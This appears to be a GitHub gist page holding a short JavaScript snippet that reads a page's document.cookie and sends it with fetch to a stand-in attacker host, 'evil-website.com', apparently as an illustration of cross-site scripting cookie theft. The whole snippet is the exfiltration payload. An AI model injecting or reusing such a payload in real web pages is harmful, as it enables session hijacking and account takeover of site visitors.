Skip to content

Instantly share code, notes, and snippets.

@K-Mistele
Created January 15, 2021 21:47
Show Gist options
  • Select an option

  • Save K-Mistele/7057cb7ffd5c576ec552e155ca5efd39 to your computer and use it in GitHub Desktop.

Select an option

Save K-Mistele/7057cb7ffd5c576ec552e155ca5efd39 to your computer and use it in GitHub Desktop.
// capture the cookies
const cookie = document.cookie;
// send the cookies to the attacker
fetch('https://evil-website.com/cookie-capture', {
data: cookie
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment